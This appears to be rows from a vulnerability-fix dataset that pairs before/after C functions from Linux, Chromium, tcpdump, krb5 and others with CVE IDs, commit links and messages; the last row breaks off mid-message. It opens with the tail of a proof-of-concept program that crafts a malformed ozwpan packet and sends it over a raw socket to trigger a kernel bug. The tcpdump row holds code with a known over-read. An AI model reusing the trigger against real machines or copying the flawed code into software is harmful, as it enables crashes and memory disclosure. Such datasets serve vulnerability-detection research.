.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> | void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
{
struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1);
struct oz_usb_ctx *usb_ctx;
spin_lock_bh(&pd->app_lock[OZ_APPID_USB]);
usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB];
if (usb_ctx)
oz_usb_get(usb_ctx);
spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]);
if (usb_ctx == NULL)
return; /* Context has gone so nothing to do. */
if (usb_ctx->stopped)
goto done;
/* If sequence number is non-zero then check it is not a duplicate.
* Zero sequence numbers are always accepted.
*/
if (usb_hdr->elt_seq_num != 0) {
if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0)
/* Reject duplicate element. */
goto done;
}
usb_ctx->rx_seq_num = usb_hdr->elt_seq_num;
switch (usb_hdr->type) {
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
u16 offs, total_size;
u8 data_len;
if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
break;
data_len = elt->length -
(sizeof(struct oz_get_desc_rsp) - 1);
offs = le16_to_cpu(get_unaligned(&body->offset));
total_size =
le16_to_cpu(get_unaligned(&body->total_size));
oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
body->rcode, body->data,
data_len, offs, total_size);
}
break;
case OZ_SET_CONFIG_RSP: {
struct oz_set_config_rsp *body =
(struct oz_set_config_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport, body->req_id,
body->rcode, NULL, 0);
}
break;
case OZ_SET_INTERFACE_RSP: {
struct oz_set_interface_rsp *body =
(struct oz_set_interface_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport,
body->req_id, body->rcode, NULL, 0);
}
break;
case OZ_VENDOR_CLASS_RSP: {
struct oz_vendor_class_rsp *body =
(struct oz_vendor_class_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport, body->req_id,
body->rcode, body->data, elt->length-
sizeof(struct oz_vendor_class_rsp)+1);
}
break;
case OZ_USB_ENDPOINT_DATA:
oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length);
break;
}
done:
oz_usb_put(usb_ctx);
}
| void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
{
struct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1);
struct oz_usb_ctx *usb_ctx;
spin_lock_bh(&pd->app_lock[OZ_APPID_USB]);
usb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB];
if (usb_ctx)
oz_usb_get(usb_ctx);
spin_unlock_bh(&pd->app_lock[OZ_APPID_USB]);
if (usb_ctx == NULL)
return; /* Context has gone so nothing to do. */
if (usb_ctx->stopped)
goto done;
/* If sequence number is non-zero then check it is not a duplicate.
* Zero sequence numbers are always accepted.
*/
if (usb_hdr->elt_seq_num != 0) {
if (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0)
/* Reject duplicate element. */
goto done;
}
usb_ctx->rx_seq_num = usb_hdr->elt_seq_num;
switch (usb_hdr->type) {
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
u16 offs, total_size;
u8 data_len;
if (elt->length < sizeof(struct oz_get_desc_rsp) - 1)
break;
data_len = elt->length -
(sizeof(struct oz_get_desc_rsp) - 1);
offs = le16_to_cpu(get_unaligned(&body->offset));
total_size =
le16_to_cpu(get_unaligned(&body->total_size));
oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n");
oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,
body->rcode, body->data,
data_len, offs, total_size);
}
break;
case OZ_SET_CONFIG_RSP: {
struct oz_set_config_rsp *body =
(struct oz_set_config_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport, body->req_id,
body->rcode, NULL, 0);
}
break;
case OZ_SET_INTERFACE_RSP: {
struct oz_set_interface_rsp *body =
(struct oz_set_interface_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport,
body->req_id, body->rcode, NULL, 0);
}
break;
case OZ_VENDOR_CLASS_RSP: {
struct oz_vendor_class_rsp *body =
(struct oz_vendor_class_rsp *)usb_hdr;
oz_hcd_control_cnf(usb_ctx->hport, body->req_id,
body->rcode, body->data, elt->length-
sizeof(struct oz_vendor_class_rsp)+1);
}
break;
case OZ_USB_ENDPOINT_DATA:
oz_usb_handle_ep_data(usb_ctx, usb_hdr, elt->length);
break;
}
done:
oz_usb_put(usb_ctx);
}
| C | linux | 0 |
CVE-2018-12904 | https://www.cvedetails.com/cve/CVE-2018-12904/ | null | https://github.com/torvalds/linux/commit/727ba748e110b4de50d142edca9d6a9b7e6111d8 | 727ba748e110b4de50d142edca9d6a9b7e6111d8 | kvm: nVMX: Enforce cpl=0 for VMX instructions
VMX instructions executed inside a L1 VM will always trigger a VM exit
even when executed with cpl 3. This means we must perform the
privilege check in software.
Fixes: 70f3aac964ae("kvm: nVMX: Remove superfluous VMX instruction fault checks")
Cc: stable@vger.kernel.org
Signed-off-by: Felix Wilhelm <fwilhelm@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com> | static void shrink_ple_window(struct kvm_vcpu *vcpu)
{
struct vcpu_vmx *vmx = to_vmx(vcpu);
int old = vmx->ple_window;
vmx->ple_window = __shrink_ple_window(old, ple_window,
ple_window_shrink,
ple_window);
if (vmx->ple_window != old)
vmx->ple_window_dirty = true;
trace_kvm_ple_window_shrink(vcpu->vcpu_id, vmx->ple_window, old);
}
| static void shrink_ple_window(struct kvm_vcpu *vcpu)
{
struct vcpu_vmx *vmx = to_vmx(vcpu);
int old = vmx->ple_window;
vmx->ple_window = __shrink_ple_window(old, ple_window,
ple_window_shrink,
ple_window);
if (vmx->ple_window != old)
vmx->ple_window_dirty = true;
trace_kvm_ple_window_shrink(vcpu->vcpu_id, vmx->ple_window, old);
}
| C | linux | 0 |
null | null | null | https://github.com/chromium/chromium/commit/3a353ebdb7753a3fbeb401c4c0e0f3358ccbb90b | 3a353ebdb7753a3fbeb401c4c0e0f3358ccbb90b | Support pausing media when a context is frozen.
Media is resumed when the context is unpaused. This feature will be used
for bfcache and pausing iframes feature policy.
BUG=907125
Change-Id: Ic3925ea1a4544242b7bf0b9ad8c9cb9f63976bbd
Reviewed-on: https://chromium-review.googlesource.com/c/1410126
Commit-Queue: Dave Tapuska <dtapuska@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Mounir Lamouri <mlamouri@chromium.org>
Cr-Commit-Position: refs/heads/master@{#623319} | void HTMLMediaElement::StartDeferredLoad() {
if (deferred_load_state_ == kWaitingForTrigger) {
ExecuteDeferredLoad();
return;
}
if (deferred_load_state_ == kExecuteOnStopDelayingLoadEventTask)
return;
DCHECK_EQ(deferred_load_state_, kWaitingForStopDelayingLoadEventTask);
deferred_load_state_ = kExecuteOnStopDelayingLoadEventTask;
}
| void HTMLMediaElement::StartDeferredLoad() {
if (deferred_load_state_ == kWaitingForTrigger) {
ExecuteDeferredLoad();
return;
}
if (deferred_load_state_ == kExecuteOnStopDelayingLoadEventTask)
return;
DCHECK_EQ(deferred_load_state_, kWaitingForStopDelayingLoadEventTask);
deferred_load_state_ = kExecuteOnStopDelayingLoadEventTask;
}
| C | Chrome | 0 |
CVE-2013-4160 | https://www.cvedetails.com/cve/CVE-2013-4160/ | null | https://github.com/mm2/Little-CMS/commit/91c2db7f2559be504211b283bc3a2c631d6f06d9 | 91c2db7f2559be504211b283bc3a2c631d6f06d9 | Non happy-path fixes | cmsBool OptimizeByResampling(cmsPipeline** Lut, cmsUInt32Number Intent, cmsUInt32Number* InputFormat, cmsUInt32Number* OutputFormat, cmsUInt32Number* dwFlags)
{
cmsPipeline* Src = NULL;
cmsPipeline* Dest = NULL;
cmsStage* mpe;
cmsStage* CLUT;
cmsStage *KeepPreLin = NULL, *KeepPostLin = NULL;
int nGridPoints;
cmsColorSpaceSignature ColorSpace, OutputColorSpace;
cmsStage *NewPreLin = NULL;
cmsStage *NewPostLin = NULL;
_cmsStageCLutData* DataCLUT;
cmsToneCurve** DataSetIn;
cmsToneCurve** DataSetOut;
Prelin16Data* p16;
if (_cmsFormatterIsFloat(*InputFormat) || _cmsFormatterIsFloat(*OutputFormat)) return FALSE;
ColorSpace = _cmsICCcolorSpace(T_COLORSPACE(*InputFormat));
OutputColorSpace = _cmsICCcolorSpace(T_COLORSPACE(*OutputFormat));
nGridPoints = _cmsReasonableGridpointsByColorspace(ColorSpace, *dwFlags);
if (cmsPipelineStageCount(*Lut) == 0)
nGridPoints = 2;
Src = *Lut;
for (mpe = cmsPipelineGetPtrToFirstStage(Src);
mpe != NULL;
mpe = cmsStageNext(mpe)) {
if (cmsStageType(mpe) == cmsSigNamedColorElemType) return FALSE;
}
Dest = cmsPipelineAlloc(Src ->ContextID, Src ->InputChannels, Src ->OutputChannels);
if (!Dest) return FALSE;
if (*dwFlags & cmsFLAGS_CLUT_PRE_LINEARIZATION) {
cmsStage* PreLin = cmsPipelineGetPtrToFirstStage(Src);
if (PreLin ->Type == cmsSigCurveSetElemType) {
if (!AllCurvesAreLinear(PreLin)) {
NewPreLin = cmsStageDup(PreLin);
if(!cmsPipelineInsertStage(Dest, cmsAT_BEGIN, NewPreLin))
goto Error;
cmsPipelineUnlinkStage(Src, cmsAT_BEGIN, &KeepPreLin);
}
}
}
CLUT = cmsStageAllocCLut16bit(Src ->ContextID, nGridPoints, Src ->InputChannels, Src->OutputChannels, NULL);
if (CLUT == NULL) return FALSE;
if (!cmsPipelineInsertStage(Dest, cmsAT_END, CLUT)) {
goto Error;
}
if (*dwFlags & cmsFLAGS_CLUT_POST_LINEARIZATION) {
cmsStage* PostLin = cmsPipelineGetPtrToLastStage(Src);
if (cmsStageType(PostLin) == cmsSigCurveSetElemType) {
if (!AllCurvesAreLinear(PostLin)) {
NewPostLin = cmsStageDup(PostLin);
if (!cmsPipelineInsertStage(Dest, cmsAT_END, NewPostLin))
goto Error;
cmsPipelineUnlinkStage(Src, cmsAT_END, &KeepPostLin);
}
}
}
if (!cmsStageSampleCLut16bit(CLUT, XFormSampler16, (void*) Src, 0)) {
Error:
if (KeepPreLin != NULL) {
if (!cmsPipelineInsertStage(Src, cmsAT_BEGIN, KeepPreLin)) {
_cmsAssert(0); // This never happens
}
}
if (KeepPostLin != NULL) {
if (!cmsPipelineInsertStage(Src, cmsAT_END, KeepPostLin)) {
_cmsAssert(0); // This never happens
}
}
cmsPipelineFree(Dest);
return FALSE;
}
if (KeepPreLin != NULL) cmsStageFree(KeepPreLin);
if (KeepPostLin != NULL) cmsStageFree(KeepPostLin);
cmsPipelineFree(Src);
DataCLUT = (_cmsStageCLutData*) CLUT ->Data;
if (NewPreLin == NULL) DataSetIn = NULL;
else DataSetIn = ((_cmsStageToneCurvesData*) NewPreLin ->Data) ->TheCurves;
if (NewPostLin == NULL) DataSetOut = NULL;
else DataSetOut = ((_cmsStageToneCurvesData*) NewPostLin ->Data) ->TheCurves;
if (DataSetIn == NULL && DataSetOut == NULL) {
_cmsPipelineSetOptimizationParameters(Dest, (_cmsOPTeval16Fn) DataCLUT->Params->Interpolation.Lerp16, DataCLUT->Params, NULL, NULL);
}
else {
p16 = PrelinOpt16alloc(Dest ->ContextID,
DataCLUT ->Params,
Dest ->InputChannels,
DataSetIn,
Dest ->OutputChannels,
DataSetOut);
_cmsPipelineSetOptimizationParameters(Dest, PrelinEval16, (void*) p16, PrelinOpt16free, Prelin16dup);
}
if (Intent == INTENT_ABSOLUTE_COLORIMETRIC)
*dwFlags |= cmsFLAGS_NOWHITEONWHITEFIXUP;
if (!(*dwFlags & cmsFLAGS_NOWHITEONWHITEFIXUP)) {
FixWhiteMisalignment(Dest, ColorSpace, OutputColorSpace);
}
*Lut = Dest;
return TRUE;
cmsUNUSED_PARAMETER(Intent);
}
| cmsBool OptimizeByResampling(cmsPipeline** Lut, cmsUInt32Number Intent, cmsUInt32Number* InputFormat, cmsUInt32Number* OutputFormat, cmsUInt32Number* dwFlags)
{
cmsPipeline* Src = NULL;
cmsPipeline* Dest = NULL;
cmsStage* mpe;
cmsStage* CLUT;
cmsStage *KeepPreLin = NULL, *KeepPostLin = NULL;
int nGridPoints;
cmsColorSpaceSignature ColorSpace, OutputColorSpace;
cmsStage *NewPreLin = NULL;
cmsStage *NewPostLin = NULL;
_cmsStageCLutData* DataCLUT;
cmsToneCurve** DataSetIn;
cmsToneCurve** DataSetOut;
Prelin16Data* p16;
if (_cmsFormatterIsFloat(*InputFormat) || _cmsFormatterIsFloat(*OutputFormat)) return FALSE;
ColorSpace = _cmsICCcolorSpace(T_COLORSPACE(*InputFormat));
OutputColorSpace = _cmsICCcolorSpace(T_COLORSPACE(*OutputFormat));
nGridPoints = _cmsReasonableGridpointsByColorspace(ColorSpace, *dwFlags);
if (cmsPipelineStageCount(*Lut) == 0)
nGridPoints = 2;
Src = *Lut;
for (mpe = cmsPipelineGetPtrToFirstStage(Src);
mpe != NULL;
mpe = cmsStageNext(mpe)) {
if (cmsStageType(mpe) == cmsSigNamedColorElemType) return FALSE;
}
Dest = cmsPipelineAlloc(Src ->ContextID, Src ->InputChannels, Src ->OutputChannels);
if (!Dest) return FALSE;
if (*dwFlags & cmsFLAGS_CLUT_PRE_LINEARIZATION) {
cmsStage* PreLin = cmsPipelineGetPtrToFirstStage(Src);
if (PreLin ->Type == cmsSigCurveSetElemType) {
if (!AllCurvesAreLinear(PreLin)) {
NewPreLin = cmsStageDup(PreLin);
if(!cmsPipelineInsertStage(Dest, cmsAT_BEGIN, NewPreLin))
goto Error;
cmsPipelineUnlinkStage(Src, cmsAT_BEGIN, &KeepPreLin);
}
}
}
CLUT = cmsStageAllocCLut16bit(Src ->ContextID, nGridPoints, Src ->InputChannels, Src->OutputChannels, NULL);
if (CLUT == NULL) return FALSE;
if (!cmsPipelineInsertStage(Dest, cmsAT_END, CLUT)) {
goto Error;
}
if (*dwFlags & cmsFLAGS_CLUT_POST_LINEARIZATION) {
cmsStage* PostLin = cmsPipelineGetPtrToLastStage(Src);
if (cmsStageType(PostLin) == cmsSigCurveSetElemType) {
if (!AllCurvesAreLinear(PostLin)) {
NewPostLin = cmsStageDup(PostLin);
if (!cmsPipelineInsertStage(Dest, cmsAT_END, NewPostLin))
goto Error;
cmsPipelineUnlinkStage(Src, cmsAT_END, &KeepPostLin);
}
}
}
if (!cmsStageSampleCLut16bit(CLUT, XFormSampler16, (void*) Src, 0)) {
Error:
if (KeepPreLin != NULL) {
if (!cmsPipelineInsertStage(Src, cmsAT_BEGIN, KeepPreLin)) {
_cmsAssert(0); // This never happens
}
}
if (KeepPostLin != NULL) {
if (!cmsPipelineInsertStage(Src, cmsAT_END, KeepPostLin)) {
_cmsAssert(0); // This never happens
}
}
cmsPipelineFree(Dest);
return FALSE;
}
if (KeepPreLin != NULL) cmsStageFree(KeepPreLin);
if (KeepPostLin != NULL) cmsStageFree(KeepPostLin);
cmsPipelineFree(Src);
DataCLUT = (_cmsStageCLutData*) CLUT ->Data;
if (NewPreLin == NULL) DataSetIn = NULL;
else DataSetIn = ((_cmsStageToneCurvesData*) NewPreLin ->Data) ->TheCurves;
if (NewPostLin == NULL) DataSetOut = NULL;
else DataSetOut = ((_cmsStageToneCurvesData*) NewPostLin ->Data) ->TheCurves;
if (DataSetIn == NULL && DataSetOut == NULL) {
_cmsPipelineSetOptimizationParameters(Dest, (_cmsOPTeval16Fn) DataCLUT->Params->Interpolation.Lerp16, DataCLUT->Params, NULL, NULL);
}
else {
p16 = PrelinOpt16alloc(Dest ->ContextID,
DataCLUT ->Params,
Dest ->InputChannels,
DataSetIn,
Dest ->OutputChannels,
DataSetOut);
_cmsPipelineSetOptimizationParameters(Dest, PrelinEval16, (void*) p16, PrelinOpt16free, Prelin16dup);
}
if (Intent == INTENT_ABSOLUTE_COLORIMETRIC)
*dwFlags |= cmsFLAGS_NOWHITEONWHITEFIXUP;
if (!(*dwFlags & cmsFLAGS_NOWHITEONWHITEFIXUP)) {
FixWhiteMisalignment(Dest, ColorSpace, OutputColorSpace);
}
*Lut = Dest;
return TRUE;
cmsUNUSED_PARAMETER(Intent);
}
| C | Little-CMS | 0 |
CVE-2016-5225 | https://www.cvedetails.com/cve/CVE-2016-5225/ | CWE-19 | https://github.com/chromium/chromium/commit/4ac4aff49c4c539bce6d8a0d8800c01324bb6bc0 | 4ac4aff49c4c539bce6d8a0d8800c01324bb6bc0 | Enforce form-action CSP even when form.target is present.
BUG=630332
Review-Url: https://codereview.chromium.org/2464123004
Cr-Commit-Position: refs/heads/master@{#429922} | Element* HTMLFormElement::elementFromPastNamesMap(
const AtomicString& pastName) {
if (pastName.isEmpty() || !m_pastNamesMap)
return 0;
Element* element = m_pastNamesMap->get(pastName);
#if DCHECK_IS_ON()
if (!element)
return 0;
SECURITY_DCHECK(toHTMLElement(element)->formOwner() == this);
if (isHTMLImageElement(*element)) {
SECURITY_DCHECK(imageElements().find(element) != kNotFound);
} else if (isHTMLObjectElement(*element)) {
SECURITY_DCHECK(associatedElements().find(toHTMLObjectElement(element)) !=
kNotFound);
} else {
SECURITY_DCHECK(associatedElements().find(
toHTMLFormControlElement(element)) != kNotFound);
}
#endif
return element;
}
| Element* HTMLFormElement::elementFromPastNamesMap(
const AtomicString& pastName) {
if (pastName.isEmpty() || !m_pastNamesMap)
return 0;
Element* element = m_pastNamesMap->get(pastName);
#if DCHECK_IS_ON()
if (!element)
return 0;
SECURITY_DCHECK(toHTMLElement(element)->formOwner() == this);
if (isHTMLImageElement(*element)) {
SECURITY_DCHECK(imageElements().find(element) != kNotFound);
} else if (isHTMLObjectElement(*element)) {
SECURITY_DCHECK(associatedElements().find(toHTMLObjectElement(element)) !=
kNotFound);
} else {
SECURITY_DCHECK(associatedElements().find(
toHTMLFormControlElement(element)) != kNotFound);
}
#endif
return element;
}
| C | Chrome | 0 |
CVE-2015-1265 | https://www.cvedetails.com/cve/CVE-2015-1265/ | null | https://github.com/chromium/chromium/commit/04ff52bb66284467ccb43d90800013b89ee8db75 | 04ff52bb66284467ccb43d90800013b89ee8db75 | Switching AudioOutputAuthorizationHandler from using AudioManager interface to AudioSystem one.
BUG=672468
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Review-Url: https://codereview.chromium.org/2692203003
Cr-Commit-Position: refs/heads/master@{#450939} | std::string GetNondefaultInputId() {
std::string nondefault_id;
MediaDevicesManager::BoolDeviceTypes devices_to_enumerate;
devices_to_enumerate[MEDIA_DEVICE_TYPE_AUDIO_INPUT] = true;
media_stream_manager_->media_devices_manager()->EnumerateDevices(
devices_to_enumerate,
base::Bind(
[](std::string* out, const MediaDeviceEnumeration& result) {
CHECK(result[MediaDeviceType::MEDIA_DEVICE_TYPE_AUDIO_INPUT]
.size() > 1)
<< "Expected to have a nondefault device.";
*out = result[MediaDeviceType::MEDIA_DEVICE_TYPE_AUDIO_INPUT][1]
.device_id;
},
base::Unretained(&nondefault_id)));
base::RunLoop().RunUntilIdle();
return nondefault_id;
}
| std::string GetNondefaultInputId() {
std::string nondefault_id;
MediaDevicesManager::BoolDeviceTypes devices_to_enumerate;
devices_to_enumerate[MEDIA_DEVICE_TYPE_AUDIO_INPUT] = true;
media_stream_manager_->media_devices_manager()->EnumerateDevices(
devices_to_enumerate,
base::Bind(
[](std::string* out, const MediaDeviceEnumeration& result) {
CHECK(result[MediaDeviceType::MEDIA_DEVICE_TYPE_AUDIO_INPUT]
.size() > 1)
<< "Expected to have a nondefault device.";
*out = result[MediaDeviceType::MEDIA_DEVICE_TYPE_AUDIO_INPUT][1]
.device_id;
},
base::Unretained(&nondefault_id)));
base::RunLoop().RunUntilIdle();
return nondefault_id;
}
| C | Chrome | 0 |
null | null | null | https://github.com/chromium/chromium/commit/a44b00c88bc5ea35b5b150217c5fd6e4ce168e58 | a44b00c88bc5ea35b5b150217c5fd6e4ce168e58 | Apply behaviour change fix from upstream for previous XPath change.
BUG=58731
TEST=NONE
Review URL: http://codereview.chromium.org/4027006
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@63572 0039d316-1c4b-4281-b951-d872f2087c98 | xmlXPathCastNumberToBoolean (double val) {
if (xmlXPathIsNaN(val) || (val == 0.0))
return(0);
return(1);
}
| xmlXPathCastNumberToBoolean (double val) {
if (xmlXPathIsNaN(val) || (val == 0.0))
return(0);
return(1);
}
| C | Chrome | 0 |
CVE-2016-3120 | https://www.cvedetails.com/cve/CVE-2016-3120/ | CWE-476 | https://github.com/krb5/krb5/commit/93b4a6306a0026cf1cc31ac4bd8a49ba5d034ba7 | 93b4a6306a0026cf1cc31ac4bd8a49ba5d034ba7 | Fix S4U2Self KDC crash when anon is restricted
In validate_as_request(), when enforcing restrict_anonymous_to_tgt,
use client.princ instead of request->client; the latter is NULL when
validating S4U2Self requests.
CVE-2016-3120:
In MIT krb5 1.9 and later, an authenticated attacker can cause krb5kdc
to dereference a null pointer if the restrict_anonymous_to_tgt option
is set to true, by making an S4U2Self request.
CVSSv2 Vector: AV:N/AC:H/Au:S/C:N/I:N/A:C/E:H/RL:OF/RC:C
ticket: 8458 (new)
target_version: 1.14-next
target_version: 1.13-next | kdc_process_s4u2proxy_req(kdc_realm_t *kdc_active_realm,
krb5_kdc_req *request,
const krb5_enc_tkt_part *t2enc,
const krb5_db_entry *server,
krb5_const_principal server_princ,
krb5_const_principal proxy_princ,
const char **status)
{
krb5_error_code errcode;
/*
* Constrained delegation is mutually exclusive with renew/forward/etc.
* We can assert from this check that the header ticket was a TGT, as
* that is validated previously in validate_tgs_request().
*/
if (request->kdc_options & (NON_TGT_OPTION | KDC_OPT_ENC_TKT_IN_SKEY)) {
return KRB5KDC_ERR_BADOPTION;
}
/* Ensure that evidence ticket server matches TGT client */
if (!krb5_principal_compare(kdc_context,
server->princ, /* after canon */
server_princ)) {
return KRB5KDC_ERR_SERVER_NOMATCH;
}
if (!isflagset(t2enc->flags, TKT_FLG_FORWARDABLE)) {
*status = "EVIDENCE_TKT_NOT_FORWARDABLE";
return KRB5_TKT_NOT_FORWARDABLE;
}
/* Backend policy check */
errcode = check_allowed_to_delegate_to(kdc_context,
t2enc->client,
server,
proxy_princ);
if (errcode) {
*status = "NOT_ALLOWED_TO_DELEGATE";
return errcode;
}
return 0;
}
| kdc_process_s4u2proxy_req(kdc_realm_t *kdc_active_realm,
krb5_kdc_req *request,
const krb5_enc_tkt_part *t2enc,
const krb5_db_entry *server,
krb5_const_principal server_princ,
krb5_const_principal proxy_princ,
const char **status)
{
krb5_error_code errcode;
/*
* Constrained delegation is mutually exclusive with renew/forward/etc.
* We can assert from this check that the header ticket was a TGT, as
* that is validated previously in validate_tgs_request().
*/
if (request->kdc_options & (NON_TGT_OPTION | KDC_OPT_ENC_TKT_IN_SKEY)) {
return KRB5KDC_ERR_BADOPTION;
}
/* Ensure that evidence ticket server matches TGT client */
if (!krb5_principal_compare(kdc_context,
server->princ, /* after canon */
server_princ)) {
return KRB5KDC_ERR_SERVER_NOMATCH;
}
if (!isflagset(t2enc->flags, TKT_FLG_FORWARDABLE)) {
*status = "EVIDENCE_TKT_NOT_FORWARDABLE";
return KRB5_TKT_NOT_FORWARDABLE;
}
/* Backend policy check */
errcode = check_allowed_to_delegate_to(kdc_context,
t2enc->client,
server,
proxy_princ);
if (errcode) {
*status = "NOT_ALLOWED_TO_DELEGATE";
return errcode;
}
return 0;
}
| C | krb5 | 0 |
CVE-2017-12897 | https://www.cvedetails.com/cve/CVE-2017-12897/ | CWE-125 | https://github.com/the-tcpdump-group/tcpdump/commit/1dcd10aceabbc03bf571ea32b892c522cbe923de | 1dcd10aceabbc03bf571ea32b892c522cbe923de | CVE-2017-12897/ISO CLNS: Use ND_TTEST() for the bounds checks in isoclns_print().
This fixes a buffer over-read discovered by Kamil Frankowicz.
Don't pass the remaining caplen - that's too hard to get right, and we
were getting it wrong in at least one case; just use ND_TTEST().
Add a test using the capture file supplied by the reporter(s). | juniper_atm1_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
int llc_hdrlen;
struct juniper_l2info_t l2info;
l2info.pictype = DLT_JUNIPER_ATM1;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
if (l2info.cookie[0] == 0x80) { /* OAM cell ? */
oam_print(ndo, p, l2info.length, ATM_OAM_NOHEC);
return l2info.header_len;
}
if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */
EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */
llc_hdrlen = llc_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL);
if (llc_hdrlen > 0)
return l2info.header_len;
}
if (p[0] == 0x03) { /* Cisco style NLPID encaps ? */
isoclns_print(ndo, p + 1, l2info.length - 1);
/* FIXME check if frame was recognized */
return l2info.header_len;
}
if (ip_heuristic_guess(ndo, p, l2info.length) != 0) /* last try - vcmux encaps ? */
return l2info.header_len;
return l2info.header_len;
}
| juniper_atm1_print(netdissect_options *ndo,
const struct pcap_pkthdr *h, register const u_char *p)
{
int llc_hdrlen;
struct juniper_l2info_t l2info;
l2info.pictype = DLT_JUNIPER_ATM1;
if (juniper_parse_header(ndo, p, h, &l2info) == 0)
return l2info.header_len;
p+=l2info.header_len;
if (l2info.cookie[0] == 0x80) { /* OAM cell ? */
oam_print(ndo, p, l2info.length, ATM_OAM_NOHEC);
return l2info.header_len;
}
if (EXTRACT_24BITS(p) == 0xfefe03 || /* NLPID encaps ? */
EXTRACT_24BITS(p) == 0xaaaa03) { /* SNAP encaps ? */
llc_hdrlen = llc_print(ndo, p, l2info.length, l2info.caplen, NULL, NULL);
if (llc_hdrlen > 0)
return l2info.header_len;
}
if (p[0] == 0x03) { /* Cisco style NLPID encaps ? */
isoclns_print(ndo, p + 1, l2info.length - 1, l2info.caplen - 1);
/* FIXME check if frame was recognized */
return l2info.header_len;
}
if (ip_heuristic_guess(ndo, p, l2info.length) != 0) /* last try - vcmux encaps ? */
return l2info.header_len;
return l2info.header_len;
}
| C | tcpdump | 1 |
CVE-2018-6127 | https://www.cvedetails.com/cve/CVE-2018-6127/ | null | https://github.com/chromium/chromium/commit/28044cb7ef4488e7278c2b80f0e3a2c3707d03b6 | 28044cb7ef4488e7278c2b80f0e3a2c3707d03b6 | [IndexedDB] Fixing early destruction of connection during forceclose
Patch is as small as possible for merging.
Bug: 842990
Change-Id: I9968ffee1bf3279e61e1ec13e4d541f713caf12f
Reviewed-on: https://chromium-review.googlesource.com/1062935
Commit-Queue: Daniel Murphy <dmurph@chromium.org>
Commit-Queue: Victor Costan <pwnall@chromium.org>
Reviewed-by: Victor Costan <pwnall@chromium.org>
Cr-Commit-Position: refs/heads/master@{#559383} | explicit BlobWriteCallbackImpl(
base::WeakPtr<IndexedDBTransaction> transaction)
: transaction_(std::move(transaction)) {}
| explicit BlobWriteCallbackImpl(
base::WeakPtr<IndexedDBTransaction> transaction)
: transaction_(std::move(transaction)) {}
| C | Chrome | 0 |
CVE-2013-1957 | https://www.cvedetails.com/cve/CVE-2013-1957/ | CWE-264 | https://github.com/torvalds/linux/commit/132c94e31b8bca8ea921f9f96a57d684fa4ae0a9 | 132c94e31b8bca8ea921f9f96a57d684fa4ae0a9 | vfs: Carefully propogate mounts across user namespaces
As a matter of policy MNT_READONLY should not be changable if the
original mounter had more privileges than creator of the mount
namespace.
Add the flag CL_UNPRIVILEGED to note when we are copying a mount from
a mount namespace that requires more privileges to a mount namespace
that requires fewer privileges.
When the CL_UNPRIVILEGED flag is set cause clone_mnt to set MNT_NO_REMOUNT
if any of the mnt flags that should never be changed are set.
This protects both mount propagation and the initial creation of a less
privileged mount namespace.
